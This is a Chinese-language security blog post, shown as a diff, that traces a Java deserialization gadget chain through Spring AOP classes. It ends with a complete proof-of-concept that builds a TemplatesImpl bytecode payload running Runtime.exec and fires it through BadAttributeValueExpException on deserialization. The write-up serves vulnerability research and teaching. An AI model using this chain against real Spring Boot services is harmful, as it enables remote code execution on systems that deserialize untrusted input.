|
| 1 | ++++ |
| 2 | +date = '2025-01-23T23:33:31+08:00' |
| 3 | +draft = false |
| 4 | +title = 'SpringAOP链学习' |
| 5 | +author='GSBP' |
| 6 | +categories=["Java安全"] |
| 7 | + |
| 8 | ++++ |
| 9 | + |
| 10 | +## 前言 |
| 11 | + |
| 12 | +在浏览文章的时候看见有师傅发现了一条仅依赖于Springboot中的SpringAOP的链,于是自己调试学习了一下 |
| 13 | + |
| 14 | +## 正文 |
| 15 | + |
| 16 | +依赖于Spring-AOP和aspectjweaver两个包,但是springboot中的spring-boot-starter-aop自带包含这俩类,可以说是和Jackson一样通杀springboot的链子了 |
| 17 | + |
| 18 | +### 流程 |
| 19 | + |
| 20 | +调用链如下 |
| 21 | + |
| 22 | +``` |
| 23 | +JdkDynamicAopProxy.invoke()-> |
| 24 | +ReflectiveMethodInvocation.proceed()-> |
| 25 | +AspectJAroundAdvice->invoke-> |
| 26 | +org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()-> |
| 27 | +method.invoke() |
| 28 | +``` |
| 29 | + |
| 30 | +执行类是`org.springframework.aop.aspectj.AbstractAspectJAdvice`的**invokeAdviceMethodWithGivenArgs**方法 |
| 31 | + |
| 32 | + |
| 33 | + |
| 34 | +``` |
| 35 | + protected Object invokeAdviceMethodWithGivenArgs(Object[] args) throws Throwable { |
| 36 | + Object[] actualArgs = args; |
| 37 | + if (this.aspectJAdviceMethod.getParameterCount() == 0) { |
| 38 | + actualArgs = null; |
| 39 | + } |
| 40 | +
|
| 41 | + try { |
| 42 | + ReflectionUtils.makeAccessible(this.aspectJAdviceMethod); |
| 43 | + return this.aspectJAdviceMethod.invoke(this.aspectInstanceFactory.getAspectInstance(), actualArgs); |
| 44 | + } catch (IllegalArgumentException ex) { |
| 45 | + throw new AopInvocationException("Mismatch on arguments to advice method [" + this.aspectJAdviceMethod + "]; pointcut expression [" + this.pointcut.getPointcutExpression() + "]", ex); |
| 46 | + } catch (InvocationTargetException ex) { |
| 47 | + throw ex.getTargetException(); |
| 48 | + } |
| 49 | + } |
| 50 | +``` |
| 51 | + |
| 52 | +直接在AOP依赖下的一个sink点,有着反射执行任意方法的能力,操作空间很大 |
| 53 | + |
| 54 | +在他的实现子类,在他的子类基本上invoke(before)方法的都调用了他的`invokeAdviceMethod`方法的,所以我们只需要找到一个方法能够调用invoke(before)即可 |
| 55 | + |
| 56 | + |
| 57 | + |
| 58 | +然后下一步找到了`ReflectiveMethodInvocation`类,他的proceed就能够满足我们上面的要求 |
| 59 | + |
| 60 | + |
| 61 | + |
| 62 | +接下来在`JdkDynamicAopProxy`的invoke方法将会调用proceed方法 |
| 63 | + |
| 64 | + |
| 65 | + |
| 66 | +这里有一点很有趣,就是`ReflectiveMethodInvocation`类是没有实现serializable接口的,所以我们不能将这个类放进我们的writeObject里面,但是在`JdkDynamicAopProxy`直接帮我们new了一个新的出来,也是很巧了 |
| 67 | + |
| 68 | +然后流程大致就是这样,接下来我们说一下payload执行中的一些知识点 |
| 69 | + |
| 70 | +### 构建payload中所需注意的 |
| 71 | + |
| 72 | +触发JdkDynamicAopProxy的invoke方法有很多种操作方式了,从invoke的触发流程来看,下面这俩method是肯定触发不了这条链子的,会提前return导致我们想要执行的代码没执行到 |
| 73 | + |
| 74 | +``` |
| 75 | +hashcode() |
| 76 | +equals() |
| 77 | +``` |
| 78 | + |
| 79 | +所以我们这里使用了平常非常常见的toString入口类 |
| 80 | + |
| 81 | + |
| 82 | + |
| 83 | +上面流程的图片也看到了,如果要走到proceed方法那里,那首先还得过一下`chain.isEmpty()`这个判断 |
| 84 | + |
| 85 | +chain由以下代码产生 |
| 86 | + |
| 87 | +``` |
| 88 | +List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass); |
| 89 | +``` |
| 90 | + |
| 91 | +``` |
| 92 | + public List<Object> getInterceptorsAndDynamicInterceptionAdvice(Method method, @Nullable Class<?> targetClass) { |
| 93 | + MethodCacheKey cacheKey = new MethodCacheKey(method); |
| 94 | + List<Object> cached = (List)this.methodCache.get(cacheKey); |
| 95 | + if (cached == null) { |
| 96 | + cached = this.advisorChainFactory.getInterceptorsAndDynamicInterceptionAdvice(this, method, targetClass); |
| 97 | + this.methodCache.put(cacheKey, cached); |
| 98 | + } |
| 99 | +
|
| 100 | + return cached; |
| 101 | + } |
| 102 | +``` |
| 103 | + |
| 104 | +因为`methodCache`由`transient`修饰,不能在反序列化中被恢复,所以这里的methodCache一开始一定为空,那我们就要看到`getInterceptorsAndDynamicInterceptionAdvice`方法了 |
| 105 | + |
| 106 | +`advisorChainFactory`对应的接口实现类只有`DefaultAdvisorChainFactory`,这里只能看看它的 |
| 107 | + |
| 108 | +``` |
| 109 | +public List<Object> getInterceptorsAndDynamicInterceptionAdvice(Advised config, Method method, @Nullable Class<?> targetClass) { |
| 110 | + AdvisorAdapterRegistry registry = GlobalAdvisorAdapterRegistry.getInstance(); |
| 111 | + Advisor[] advisors = config.getAdvisors(); |
| 112 | + List<Object> interceptorList = new ArrayList(advisors.length); |
| 113 | + Class<?> actualClass = targetClass != null ? targetClass : method.getDeclaringClass(); |
| 114 | + Boolean hasIntroductions = null; |
| 115 | +
|
| 116 | + for(Advisor advisor : advisors) { |
| 117 | + if (advisor instanceof PointcutAdvisor) { |
| 118 | + PointcutAdvisor pointcutAdvisor = (PointcutAdvisor)advisor; |
| 119 | + if (config.isPreFiltered() || pointcutAdvisor.getPointcut().getClassFilter().matches(actualClass)) { |
| 120 | + MethodMatcher mm = pointcutAdvisor.getPointcut().getMethodMatcher(); |
| 121 | + boolean match; |
| 122 | + if (mm instanceof IntroductionAwareMethodMatcher) { |
| 123 | + if (hasIntroductions == null) { |
| 124 | + hasIntroductions = hasMatchingIntroductions(advisors, actualClass); |
| 125 | + } |
| 126 | +
|
| 127 | + match = ((IntroductionAwareMethodMatcher)mm).matches(method, actualClass, hasIntroductions); |
| 128 | + } else { |
| 129 | + match = mm.matches(method, actualClass); |
| 130 | + } |
| 131 | +
|
| 132 | + if (match) { |
| 133 | + MethodInterceptor[] interceptors = registry.getInterceptors(advisor); |
| 134 | + if (mm.isRuntime()) { |
| 135 | + for(MethodInterceptor interceptor : interceptors) { |
| 136 | + interceptorList.add(new InterceptorAndDynamicMethodMatcher(interceptor, mm)); |
| 137 | + } |
| 138 | + } else { |
| 139 | + interceptorList.addAll(Arrays.asList(interceptors)); |
| 140 | + } |
| 141 | + } |
| 142 | + } |
| 143 | + } else if (advisor instanceof IntroductionAdvisor) { |
| 144 | + IntroductionAdvisor ia = (IntroductionAdvisor)advisor; |
| 145 | + if (config.isPreFiltered() || ia.getClassFilter().matches(actualClass)) { |
| 146 | + Interceptor[] interceptors = registry.getInterceptors(advisor); |
| 147 | + interceptorList.addAll(Arrays.asList(interceptors)); |
| 148 | + } |
| 149 | + } else { |
| 150 | + Interceptor[] interceptors = registry.getInterceptors(advisor); |
| 151 | + interceptorList.addAll(Arrays.asList(interceptors)); |
| 152 | + } |
| 153 | + } |
| 154 | +
|
| 155 | + return interceptorList; |
| 156 | + } |
| 157 | +``` |
| 158 | + |
| 159 | +我们可以发现,不管是那种方式添加进入`interceptorList`的,其所对应的成员往往是从`registry.getInterceptors(advisor);`来的 |
| 160 | + |
| 161 | +那这里我们顺藤摸瓜,registry所对应的类是`DefaultAdvisorAdapterRegistry` |
| 162 | + |
| 163 | + |
| 164 | + |
| 165 | +对应的getInterceptors代码如下 |
| 166 | + |
| 167 | + |
| 168 | + |
| 169 | +那这里我们只有从第一个判断口进入才能够添加interceptors,不过要求是我们的advisor必须实现了MethodInterceotor接口,简单看了一下继承关系,和文章师傅里得出的结论一样:没有同时实现了该接口的advisor类 |
| 170 | + |
| 171 | +面对此种情况,我们使用了动态代理去将`MethodInterceotor`给advisor类代理上,使其实现双接口 |
| 172 | + |
| 173 | +这里又用到了一次`JdkDynamicAopProxy`,不过和前面的作用完全不同 |
| 174 | + |
| 175 | + |
| 176 | + |
| 177 | +然后这里就能够顺利return回我们想要的interceptors,chain也能执行到我们的proceed方法了 |
| 178 | + |
| 179 | +最后就是在我们的`org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethodWithGivenArgs`中 |
| 180 | + |
| 181 | +``` |
| 182 | +this.aspectJAdviceMethod.invoke(this.aspectInstanceFactory.getAspectInstance(), actualArgs); |
| 183 | +``` |
| 184 | + |
| 185 | +这里还要从aspectInstanceFactory中获取到一个方法类的实例,文章中是使用了`SingletonAspectInstanceFactory`这个类 |
| 186 | + |
| 187 | + |
| 188 | + |
| 189 | +和CC里的ConstantTransformer很相似 |
| 190 | + |
| 191 | + |
| 192 | + |
| 193 | +## POC |
| 194 | + |
| 195 | +``` |
| 196 | +
|
| 197 | +import Utils.Util; |
| 198 | +import com.fasterxml.jackson.databind.node.POJONode; |
| 199 | +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; |
| 200 | +import javassist.ClassPool; |
| 201 | +import javassist.CtClass; |
| 202 | +import javassist.CtConstructor; |
| 203 | +import org.aopalliance.aop.Advice; |
| 204 | +import org.aopalliance.intercept.MethodInterceptor; |
| 205 | +import org.springframework.aop.aspectj.AbstractAspectJAdvice; |
| 206 | +import org.springframework.aop.aspectj.AspectJAroundAdvice; |
| 207 | +import org.springframework.aop.aspectj.AspectJExpressionPointcut; |
| 208 | +import org.springframework.aop.aspectj.SingletonAspectInstanceFactory; |
| 209 | +import org.springframework.aop.framework.AdvisedSupport; |
| 210 | +import org.springframework.aop.support.DefaultIntroductionAdvisor; |
| 211 | +import org.springframework.core.Ordered; |
| 212 | +
|
| 213 | +import java.lang.reflect.*; |
| 214 | +import java.util.PriorityQueue; |
| 215 | +
|
| 216 | +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; |
| 217 | +
|
| 218 | +import javax.management.BadAttributeValueExpException; |
| 219 | +import javax.xml.transform.Templates; |
| 220 | +
|
| 221 | +public class main { |
| 222 | + public static void main(String[] args) throws Exception { |
| 223 | +
|
| 224 | +
|
| 225 | + ClassPool pool = ClassPool.getDefault(); |
| 226 | + CtClass clazz = pool.makeClass("a"); |
| 227 | + CtClass superClass = pool.get(AbstractTranslet.class.getName()); |
| 228 | + clazz.setSuperclass(superClass); |
| 229 | + CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); |
| 230 | + constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");"); |
| 231 | + clazz.addConstructor(constructor); |
| 232 | + byte[][] bytes = new byte[][]{clazz.toBytecode()}; |
| 233 | + TemplatesImpl templates = TemplatesImpl.class.newInstance(); |
| 234 | + Util.setFieldValue(templates, "_bytecodes", bytes); |
| 235 | + Util.setFieldValue(templates, "_name", "GSBP"); |
| 236 | + Util.setFieldValue(templates, "_tfactory", null); |
| 237 | + Method method=templates.getClass().getMethod("newTransformer");//获取newTransformer方法 |
| 238 | +
|
| 239 | + SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(templates); |
| 240 | + AspectJAroundAdvice advice = new AspectJAroundAdvice(method,new AspectJExpressionPointcut(),factory); |
| 241 | + Proxy proxy1 = (Proxy) getAProxy(advice,Advice.class); |
| 242 | +
|
| 243 | + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123); |
| 244 | + Util.setFieldValue(badAttributeValueExpException, "val", proxy1); |
| 245 | + Util.deserialize(Util.serialize(badAttributeValueExpException)); |
| 246 | +
|
| 247 | + } |
| 248 | + public static Object getBProxy(Object obj,Class[] clazzs) throws Exception |
| 249 | + { |
| 250 | + AdvisedSupport advisedSupport = new AdvisedSupport(); |
| 251 | + advisedSupport.setTarget(obj); |
| 252 | + Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); |
| 253 | + constructor.setAccessible(true); |
| 254 | + InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); |
| 255 | + Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), clazzs, handler); |
| 256 | + return proxy; |
| 257 | + } |
| 258 | + public static Object getAProxy(Object obj,Class<?> clazz) throws Exception |
| 259 | + { |
| 260 | + AdvisedSupport advisedSupport = new AdvisedSupport(); |
| 261 | + advisedSupport.setTarget(obj); |
| 262 | + AbstractAspectJAdvice advice = (AbstractAspectJAdvice) obj; |
| 263 | +
|
| 264 | + DefaultIntroductionAdvisor advisor = new DefaultIntroductionAdvisor((Advice) getBProxy(advice, new Class[]{MethodInterceptor.class, Advice.class})); |
| 265 | + advisedSupport.addAdvisor(advisor); |
| 266 | + Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); |
| 267 | + constructor.setAccessible(true); |
| 268 | + InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); |
| 269 | + Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler); |
| 270 | + return proxy; |
| 271 | + } |
| 272 | +
|
| 273 | +} |
| 274 | +``` |
| 275 | + |
| 276 | + |
| 277 | + |
| 278 | +## 参考文章 |
| 279 | + |
| 280 | +https://mp.weixin.qq.com/s/oQ1mFohc332v8U1yA7RaMQ |
0 commit comments